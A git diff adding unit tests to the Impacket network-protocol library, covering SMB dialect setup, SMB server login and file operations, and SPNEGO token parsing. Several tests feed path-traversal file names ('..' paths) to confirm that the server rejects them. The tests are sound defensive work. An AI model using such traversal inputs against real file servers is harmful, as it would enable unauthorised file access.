+class SMB1TestsUnicode(SMB1Tests):
+
+    def setUp(self):
+        super(SMB1TestsUnicode, self).setUp()
+        self.flags2 = smb.SMB.FLAGS2_UNICODE | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_LONG_NAMES
+
+
+@pytest.mark.remote
+class SMB002Tests(SMB1Tests):
+
+    def setUp(self):
+        super(SMB002Tests, self).setUp()
+        self.dialects = SMB2_DIALECT_002
+
+
+@pytest.mark.remote
+class SMB21Tests(SMB1Tests):
+
+    def setUp(self):
+        super(SMB21Tests, self).setUp()
+        self.dialects = SMB2_DIALECT_21
+
+
+@pytest.mark.remote
+class SMB3Tests(SMB1Tests):
+
+    def setUp(self):
+        super(SMB3Tests, self).setUp()
+        self.dialects = SMB2_DIALECT_30
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_smbserver.py b/tests/SMB_RPC/test_smbserver.py
new file mode 100644
index 0000000..2bd7f29
--- /dev/null
+++ b/tests/SMB_RPC/test_smbserver.py
@@ -0,0 +1,691 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Basic unit tests for the SMB Server.
+#
+# Author:
+#   Martin Gallo (@martingalloar)
+#
+# TODO:
+#     The following are all the commands implemented by SMBServer:
+#     [ ] TRANSCommands
+#         [ ] lanMan
+#         [ ] transactNamedPipe
+#     [ ] TRANS2Commands
+#         [ ] setPathInformation
+#         [ ] setFileInformation
+#         [ ] queryPathInformation
+#         [ ] queryFileInformation
+#         [ ] queryFsInformation
+#         [ ] findNext2
+#         [ ] findFirst2
+#     [ ] SMBCommands
+#         [ ] smbTransaction
+#         [ ] smbNTTransact
+#         [ ] smbTransaction2
+#         [ ] smbComLockingAndX
+#         [ ] smbComClose
+#         [ ] smbComWrite
+#         [ ] smbComFlush
+#         [ ] smbComCreateDirectory
+#         [ ] smbComRename
+#         [ ] smbComDelete
+#         [ ] smbComDeleteDirectory
+#         [ ] smbComWriteAndX
+#         [ ] smbComRead
+#         [ ] smbComReadAndX
+#         [ ] smbQueryInformation
+#         [ ] smbQueryInformationDisk
+#         [ ] smbComEcho
+#         [ ] smbComTreeDisconnect
+#         [ ] smbComLogOffAndX
+#         [ ] smbComQueryInformation2
+#         [ ] smbComNtCreateAndX
+#         [ ] smbComOpenAndX
+#         [ ] smbComTreeConnectAndX
+#         [ ] smbComSessionSetupAndX
+#         [ ] smbComNegotiate
+#     [ ] SMB2Commands
+#         [ ] smb2Negotiate
+#         [ ] smb2SessionSetup
+#         [ ] smb2TreeConnect
+#         [ ] smb2Create
+#         [ ] smb2Close
+#         [ ] smb2QueryInfo
+#         [ ] smb2SetInfo
+#         [ ] smb2Write
+#         [ ] smb2Read
+#         [ ] smb2Flush
+#         [ ] smb2QueryDirectory
+#         [ ] smb2ChangeNotify
+#         [ ] smb2Echo
+#         [ ] smb2TreeDisconnect
+#         [ ] smb2Logoff
+#         [ ] smb2Ioctl
+#         [ ] smb2Lock
+#         [ ] smb2Cancel
+#
+import unittest
+from time import sleep
+from os.path import exists, join
+from os import mkdir, rmdir, remove
+from multiprocessing import Process
+
+from six import PY2, StringIO, BytesIO, b, assertRaisesRegex, assertCountEqual
+
+from impacket.smb import SMB_DIALECT
+from impacket.smbserver import normalize_path, isInFileJail, SimpleSMBServer
+from impacket.smbconnection import SMBConnection, SessionError, compute_lmhash, compute_nthash
+
+
+class SMBServerUnitTests(unittest.TestCase):
+    """Unit tests for the SMBServer
+    """
+
+    def test_normalize_path(self):
+        """Test file path normalization.
+        """
+        self.assertEqual(normalize_path("filepath"), "filepath")
+        self.assertEqual(normalize_path("filepath\\"), "filepath")
+        self.assertEqual(normalize_path("filepath\\\\"), "filepath")
+        self.assertEqual(normalize_path("\\filepath\\"), "filepath")
+        self.assertEqual(normalize_path("\\\\filepath\\"), "/filepath")
+        self.assertEqual(normalize_path(".\\filepath"), "filepath")
+        self.assertEqual(normalize_path(".\\.\\filepath"), "filepath")
+        self.assertEqual(normalize_path("..\\.\\filepath"), "../filepath")
+        self.assertEqual(normalize_path("..\\filepath\\..\\..\\filepath"), "../../filepath")
+        self.assertEqual(normalize_path("/filepath"), "filepath")
+        self.assertEqual(normalize_path("//filepath"), "/filepath")
+        self.assertEqual(normalize_path("./filepath"), "filepath")
+        self.assertEqual(normalize_path("././filepath"), "filepath")
+        self.assertEqual(normalize_path(".././filepath"), "../filepath")
+        self.assertEqual(normalize_path("../filepath/../../filepath"), "../../filepath")
+
+        self.assertEqual(normalize_path("filepath", ''), "filepath")
+        self.assertEqual(normalize_path("/filepath", ''), "/filepath")
+        self.assertEqual(normalize_path("//filepath", ''), "//filepath")
+        self.assertEqual(normalize_path("filepath", 'path'), "filepath")
+        self.assertEqual(normalize_path("/filepath", 'path'), "filepath")
+        self.assertEqual(normalize_path("//filepath", 'path'), "/filepath")
+
+    def test_isInFileJail(self):
+        """Test validation of common prefix path.
+        """
+        jail_path = "/tmp/jail_path"
+        self.assertTrue(isInFileJail(jail_path, "filename"))
+        self.assertTrue(isInFileJail(jail_path, "./filename"))
+        self.assertTrue(isInFileJail(jail_path, "../jail_path/filename"))
+
+        self.assertFalse(isInFileJail(jail_path, "/filename"))
+        self.assertFalse(isInFileJail(jail_path, "/tmp/filename"))
+        self.assertFalse(isInFileJail(jail_path, "../filename"))
+        self.assertFalse(isInFileJail(jail_path, "../../filename"))
+
+        jail_path = ""
+        self.assertTrue(isInFileJail(jail_path, "filename"))
+        self.assertTrue(isInFileJail(jail_path, "./filename"))
+
+        self.assertFalse(isInFileJail(jail_path, "../jail_path/filename"))
+        self.assertFalse(isInFileJail(jail_path, "/filename"))
+        self.assertFalse(isInFileJail(jail_path, "/tmp/filename"))
+        self.assertFalse(isInFileJail(jail_path, "../filename"))
+        self.assertFalse(isInFileJail(jail_path, "../../filename"))
+
+
+class SimpleSMBServerFuncTests(unittest.TestCase):
+    """Pseudo functional tests for the SimpleSMBServer.
+
+    These are pseudo functional as we're using our own SMBConnection classes. For a complete functional test
+    we should (and can) use for example Samba's smbclient or similar.
+    """
+    server = None
+    server_smb2_support = False
+    client_preferred_dialect = None
+
+    address = "127.0.0.1"
+    port = 1445
+    username = "UserName"
+    password = "Password"
+    domain = "DOMAIN"
+    lmhash = compute_lmhash(password)
+    nthash = compute_nthash(password)
+
+    unicode_share_file = "test\u202Etest"
+    unicode_username = "User\u202EName"
+
+    share_name = "share"
+    share_path = "jail_dir"
+    share_file = "jail_file"
+    share_new_file = "jail_new_file"
+    share_unjailed_file = "unjailed_file"
+    share_unjailed_new_file = "unjailed_new_file"
+    share_new_content = "some content"
+
+    share_directory = "directory"
+    share_new_directory = "new_directory"
+    share_unjailed_directory = "unjailed_directory"
+    share_unjailed_new_directory = "unjailed_new_directory"
+
+    # When listing files in a share, SMB1 response includes "." and ".."
+    share_list = [".", "..", share_file, share_directory, unicode_share_file]
+
+    def setUp(self):
+        """Creates folders and files required for testing the list, put and get functionality.
+        """
+        self.server_process = None
+        for d in [self.share_path,
+                  self.share_unjailed_directory,
+                  join(self.share_path, self.share_directory)]:
+            if not exists(d):
+                mkdir(d)
+        for f in [self.share_unjailed_file,
+                  join(self.share_path, self.share_file),
+                  join(self.share_path, self.unicode_share_file)]:
+            if not exists(f):
+                with open(f, "a") as fd:
+                    fd.write(self.share_new_content)
+
+    def tearDown(self):
+        """Removes folders and files used for testing.
+        """
+        for f in [self.share_unjailed_file,
+                  self.share_unjailed_new_file,
+                  join(self.share_path, self.share_file),
+                  join(self.share_path, self.unicode_share_file),
+                  join(self.share_path, self.share_new_file)]:
+            if exists(f):
+                remove(f)
+        for d in [self.share_unjailed_directory,
+                  self.share_unjailed_new_directory,
+                  join(self.share_path, self.share_directory),
+                  join(self.share_path, self.share_new_directory),
+                  self.share_path]:
+            if exists(d):
+                rmdir(d)
+        self.stop_smbserver()
+
+    def get_smbserver(self, add_credential=True, add_share=True):
+        smbserver = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port))
+        if add_credential:
+            smbserver.addCredential(self.username, 0, self.lmhash, self.nthash)
+        if add_share:
+            smbserver.addShare(self.share_name, self.share_path)
+        if self.server_smb2_support is not None:
+            smbserver.setSMB2Support(self.server_smb2_support)
+        return smbserver
+
+    def get_smbclient(self):
+        smbclient = SMBConnection(self.address, self.address, sess_port=int(self.port),
+                                  preferredDialect=self.client_preferred_dialect)
+        return smbclient
+
+    def start_smbserver(self, server):
+        """Starts the SimpleSMBServer process.
+        """
+        self.server = server
+        self.server_process = Process(target=server.start)
+        self.server_process.start()
+
+    def stop_smbserver(self):
+        """Stops the SimpleSMBServer process and wait for insider threads to join.
+        """
+        if self.server:
+            self.server.stop()
+            self.server = None
+        if self.server_process:
+            self.server_process.terminate()
+            sleep(0.1)
+            self.server_process = None
+
+    def test_smbserver_login_valid(self):
+        """Test authentication using valid password and LM/NTHash.
+        """
+        server = self.get_smbserver(add_share=False)
+        self.start_smbserver(server)
+
+        # Valid password login
+        client = self.get_smbclient()
+        client.login(self.username, self.password)
+        client.close()
+
+        # Valid hash login
+        client = self.get_smbclient()
+        client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash)
+        client.close()
+
+    def test_smbserver_login_invalid(self):
+        """Test authentication using invalid password and LM/NTHash.
+        """
+        server = self.get_smbserver(add_share=False)
+        self.start_smbserver(server)
+
+        # Invalid password login
+        client = self.get_smbclient()
+        with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"):
+            client.login(self.username, 'SomeInvalidPassword')
+        client.close()
+
+        # Invalid username login
+        client = self.get_smbclient()
+        with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"):
+            client.login("InvalidUser", "", lmhash=self.lmhash, nthash=self.nthash)
+        client.close()
+
+        # Invalid hash login
+        client = self.get_smbclient()
+        with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"):
+            client.login(self.username, "", lmhash=self.nthash, nthash=self.lmhash)
+        client.close()
+
+    def test_smbserver_unicode_login(self):
+        """Test authentication using a unicode username.
+        """
+        server = self.get_smbserver(add_credential=False, add_share=False)
+        server.addCredential(self.unicode_username, 0, self.lmhash, self.nthash)
+        self.start_smbserver(server)
+
+        # Valid Unicode username login
+        client = self.get_smbclient()
+        client.login(self.unicode_username, self.password)
+        client.close()
+
+    def test_smbserver_list_shares(self):
+        """Test listing shares.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated list shares
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.listShares()
+
+        # Check authenticated list shares
+        client.login(self.username, self.password)
+        shares = client.listShares()
+        shares_names = [share['shi1_netname'][:-1] for share in shares]
+        assertCountEqual(self, [self.share_name.upper(), "IPC$"], shares_names)
+
+        client.close()
+
+    def test_smbserver_connect_disconnect_tree(self):
+        """Test connecting/disconnecting to a share tree.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated connect tree
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.connectTree(self.share_name)
+
+        # Check authenticated list shares
+        client.login(self.username, self.password)
+        tree_id = client.connectTree(self.share_name)
+
+        # Check disconnect tree
+        client.disconnectTree(tree_id)
+
+        # Check unexistent share
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_NOT_FOUND"):
+            client.connectTree("unexistent")
+
+        client.close()
+
+    @unittest.skipIf(PY2, "Unicode filename expected failing in Python 2.x")
+    def test_smbserver_list_path(self):
+        """Test listing files in a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated list path
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.listPath(self.share_name, "/")
+
+        # Check authenticated list path
+        client.login(self.username, self.password)
+
+        files = client.listPath(self.share_name, self.share_file)
+        assertCountEqual(self, [f.get_longname() for f in files],
+                         [self.share_file])
+        files = client.listPath(self.share_name, self.share_directory)
+        assertCountEqual(self, [f.get_longname() for f in files],
+                         [self.share_directory])
+        files = client.listPath(self.share_name, self.unicode_share_file)
+        assertCountEqual(self, [f.get_longname() for f in files],
+                         [self.unicode_share_file])
+
+        # Check list with pattern of files
+        files = client.listPath(self.share_name, "*")
+        assertCountEqual(self, [f.get_longname() for f in files], self.share_list)
+
+        # Check path traversal in list as in #1066
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.listPath(self.share_name, join("..", self.share_unjailed_file))
+
+        # Check unexistent file
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.listPath(self.share_name, "unexistent")
+
+        client.close()
+
+    def test_smbserver_put(self):
+        """Test writing files to a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated put
+        local_file = StringIO(self.share_new_content)
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.putFile(self.share_name, self.share_new_file, local_file.read)
+        self.assertFalse(exists(join(self.share_path, self.share_new_file)))
+
+        # Check authenticated put
+        local_file = StringIO(self.share_new_content)
+        client.login(self.username, self.password)
+        client.putFile(self.share_name, self.share_new_file, local_file.read)
+        self.assertTrue(exists(join(self.share_path, self.share_new_file)))
+        with open(join(self.share_path, self.share_new_file), "r") as fd:
+            self.assertEqual(fd.read(), self.share_new_content)
+
+        # Check path traversal in put as in #1066
+        local_file = StringIO(self.share_new_content)
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.putFile(self.share_name, join("..", self.share_unjailed_new_file), local_file.read)
+        self.assertFalse(exists(self.share_unjailed_new_file))
+
+        client.close()
+
+    def test_smbserver_get_file(self):
+        """Test reading files from a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated get
+        local_file = BytesIO()
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.getFile(self.share_name, self.share_file, local_file.write)
+
+        # Check authenticated get
+        local_file = BytesIO()
+        client.login(self.username, self.password)
+        client.getFile(self.share_name, self.share_file, local_file.write)
+        local_file.seek(0)
+        self.assertEqual(local_file.read(), b(self.share_new_content))
+
+        # Check path traversal in get as in #1066
+        local_file = BytesIO()
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.getFile(self.share_name, join("..", self.share_unjailed_file), local_file.write)
+        local_file.seek(0)
+        self.assertEqual(local_file.read(), b(""))
+
+        # Check unexistent get file
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.getFile(self.share_name, "unexistent", local_file.write)
+
+        client.close()
+
+    @unittest.skipIf(PY2, "Unicode filename expected failing in Python 2.x")
+    def test_smbserver_get_unicode_file(self):
+        """Test reading unicode files from a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+        local_file = BytesIO()
+        client.login(self.username, self.password)
+        client.getFile(self.share_name, self.unicode_share_file, local_file.write)
+        local_file.seek(0)
+        self.assertEqual(local_file.read(), b(self.share_new_content))
+
+        client.close()
+
+    def test_smbserver_delete_file(self):
+        """Test deleting files from a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated delete
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.deleteFile(self.share_name, self.share_file)
+        self.assertTrue(exists(join(self.share_path, self.share_file)))
+
+        # Check path traversal in delete as in #1066
+        client.login(self.username, self.password)
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.deleteFile(self.share_name, join("..", self.share_unjailed_file))
+        self.assertTrue(exists(self.share_unjailed_file))
+
+        # Check authenticated delete
+        client.deleteFile(self.share_name, self.share_file)
+        self.assertFalse(exists(join(self.share_path, self.share_file)))
+
+        # Check unexistent file
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.deleteFile(self.share_name, "unexistent")
+
+        client.close()
+
+    def test_smbserver_create_directory(self):
+        """Test creating a directory on a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated create directory
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.createDirectory(self.share_name, self.share_new_directory)
+        self.assertFalse(exists(join(self.share_path, self.share_new_directory)))
+
+        # Check authenticated create directory
+        client.login(self.username, self.password)
+        client.createDirectory(self.share_name, self.share_new_directory)
+        self.assertTrue(exists(join(self.share_path, self.share_new_directory)))
+
+        # Check path traversal in create directory as in #1066
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.createDirectory(self.share_name, join("..", self.share_unjailed_new_directory))
+        self.assertFalse(exists(self.share_unjailed_new_directory))
+
+        client.close()
+
+    def test_smbserver_rename_file(self):
+        """Test renaming files in a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated rename file
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.rename(self.share_name, self.share_file, self.share_new_file)
+        self.assertTrue(exists(join(self.share_path, self.share_file)))
+        self.assertFalse(exists(join(self.share_path, self.share_new_file)))
+
+        # Check path traversal in rename file as in #1066
+        client.login(self.username, self.password)
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.rename(self.share_name, self.share_file, join("..", self.share_unjailed_new_file))
+        self.assertTrue(exists(join(self.share_path, self.share_file)))
+        self.assertFalse(exists(self.share_unjailed_new_file))
+
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.rename(self.share_name, join("..", self.share_unjailed_file), self.share_new_file)
+        self.assertTrue(exists(self.share_unjailed_file))
+        self.assertFalse(exists(self.share_new_file))
+
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.rename(self.share_name, join("..", self.share_unjailed_file), join("..", self.share_unjailed_new_file))
+        self.assertTrue(exists(self.share_unjailed_file))
+        self.assertFalse(exists(self.share_unjailed_new_file))
+
+        # Check authenticated rename file
+        client.rename(self.share_name, self.share_file, self.share_new_file)
+        self.assertFalse(exists(join(self.share_path, self.share_file)))
+        self.assertTrue(exists(join(self.share_path, self.share_new_file)))
+        with open(join(self.share_path, self.share_new_file), "r") as fd:
+            self.assertEqual(fd.read(), self.share_new_content)
+
+        # Check unexistent rename file
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.rename(self.share_name, "unexistent", self.share_new_file)
+
+        client.close()
+
+    def test_smbserver_open_close_file(self):
+        """Test opening and closing files in a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check authenticated open file
+        client.login(self.username, self.password)
+        tree_id = client.connectTree(self.share_name)
+        file_id = client.openFile(tree_id, self.share_file)
+
+        # Check path traversal in open file as in #1066
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.openFile(tree_id, join("..", self.share_unjailed_file))
+
+        # Check authenticated open unexistent file
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.openFile(tree_id, "unexistent")
+
+        # Check close invalid tree or file ids
+        with self.assertRaises(SessionError):
+            client.closeFile(tree_id, 123)
+        with self.assertRaises(SessionError):
+            client.closeFile(123, file_id)
+        with self.assertRaises(SessionError):
+            client.closeFile("123", file_id)
+
+        # Check close valid file
+        client.closeFile(tree_id, file_id)
+
+        # Now close the tree and client
+        client.disconnectTree(tree_id)
+        client.close()
+
+    def test_smbserver_query_info_file(self):
+        """Test query info on a file in a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+        client.login(self.username, self.password)
+
+        # Check query info on file
+        tree_id = client.connectTree(self.share_name)
+        file_id = client.openFile(tree_id, self.share_file)
+        file_info = client.queryInfo(tree_id, file_id)
+        self.assertEqual(file_info["AllocationSize"], len(self.share_new_content))
+        self.assertEqual(file_info["EndOfFile"], len(self.share_new_content))
+        self.assertEqual(file_info["Directory"], 0)
+
+        # Now close everything
+        client.closeFile(tree_id, file_id)
+        client.disconnectTree(tree_id)
+        client.close()
+
+    @unittest.skip("Query directory not implemented on client")
+    def test_smbserver_query_info_directory(self):
+        """Test query info on a directory in a shared folder.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+        client.login(self.username, self.password)
+
+        # Check query info on directory
+        tree_id = client.connectTree(self.share_name)
+        directory_id = client.openFile(tree_id, self.share_directory)
+        directory_info = client.queryInfo(tree_id, directory_id)
+        self.assertEqual(directory_info["AllocationSize"], len(self.share_new_content))
+        self.assertEqual(directory_info["EndOfFile"], len(self.share_new_content))
+        self.assertEqual(directory_info["Directory"], 1)
+
+        # Now close everything
+        client.closeFile(tree_id, directory_id)
+        client.disconnectTree(tree_id)
+        client.close()
+
+
+class SimpleSMBServer2FuncTestsClientFallBack(SimpleSMBServerFuncTests):
+
+    server_smb2_support = True
+    client_preferred_dialect = SMB_DIALECT
+
+
+class SimpleSMBServer2FuncTests(SimpleSMBServerFuncTests):
+
+    server_smb2_support = True
+
+    # When listing files in a share, SMB2 response doesn't include "." and ".."
+    share_list = [SimpleSMBServerFuncTests.share_file,
+                  SimpleSMBServerFuncTests.share_directory,
+                  SimpleSMBServerFuncTests.unicode_share_file]
+
+    def test_smbserver_delete_directory(self):
+        """Test deleting directories from a shared folder.
+
+        This is only tested in SMB2 as SMB_COM_CHECK_DIRECTORY is not
+        implemented yet in SMB, the SMB2 client uses a query info instead.
+        """
+        server = self.get_smbserver()
+        self.start_smbserver(server)
+
+        client = self.get_smbclient()
+
+        # Check unauthenticated delete directory
+        with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"):
+            client.deleteDirectory(self.share_name, self.share_directory)
+        self.assertTrue(exists(join(self.share_path, self.share_directory)))
+
+        # Check path traversal in delete directory as in #1066
+        client.login(self.username, self.password)
+        with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"):
+            client.deleteDirectory(self.share_name, join("..", self.share_unjailed_directory))
+
+        # Check authenticated delete directory
+        client.deleteDirectory(self.share_name, self.share_directory)
+        self.assertFalse(exists(join(self.share_path, self.share_directory)))
+
+        # Check unexistent directory directory
+        with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"):
+            client.deleteDirectory(self.share_name, "unexistent")
+
+        client.close()
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_spnego.py b/tests/SMB_RPC/test_spnego.py
new file mode 100644
index 0000000..369d05d
--- /dev/null
+++ b/tests/SMB_RPC/test_spnego.py
@@ -0,0 +1,61 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket import smb
+
+
+class Test(unittest.TestCase):
+
+    def setUp(self):
+        self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
+
+        self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b'
+
+        self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00'
+
+        self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d'
+
+        self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00'
+
+        self.negTokenResp4 = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
+
+    def test_negTokenInit(self):
+        token = smb.SPNEGO_NegTokenInit()
+        token.fromString(self.negTokenInit)
+        self.assertEqual(self.negTokenInit, token.getData())
+
+    def test_negTokenInit2(self):
+        token = smb.SPNEGO_NegTokenInit()
+        token.fromString(self.negTokenInit2)
+        self.assertEqual(self.negTokenInit2, token.getData())
+
+    def test_negTokenResp1(self):
+        token = smb.SPNEGO_NegTokenResp()
+        token.fromString(self.negTokenResp1)
+        self.assertEqual(self.negTokenResp1, token.getData())
+
+    def test_negTokenResp2(self):
+        token = smb.SPNEGO_NegTokenResp()
+        token.fromString(self.negTokenResp2)
+        self.assertEqual(self.negTokenResp2, token.getData())
+
+    def test_negTokenResp3(self):
+        token = smb.SPNEGO_NegTokenResp()
+        token.fromString(self.negTokenResp3)
+        self.assertEqual(self.negTokenResp3, token.getData())
+
+    def test_negTokenResp4(self):
+        token = smb.SPNEGO_NegTokenResp()
+        token['NegState'] = b'\x03'  # request-mic
+        token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+        self.assertEqual(self.negTokenResp4, token.getData())
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/SMB_RPC/test_wmi.py b/tests/SMB_RPC/test_wmi.py
new file mode 100644
index 0000000..c1ac8a6
--- /dev/null
+++ b/tests/SMB_RPC/test_wmi.py
@@ -0,0 +1,349 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   IWbemLevel1Login::EstablishPosition
+#   IWbemLevel1Login::RequestChallenge
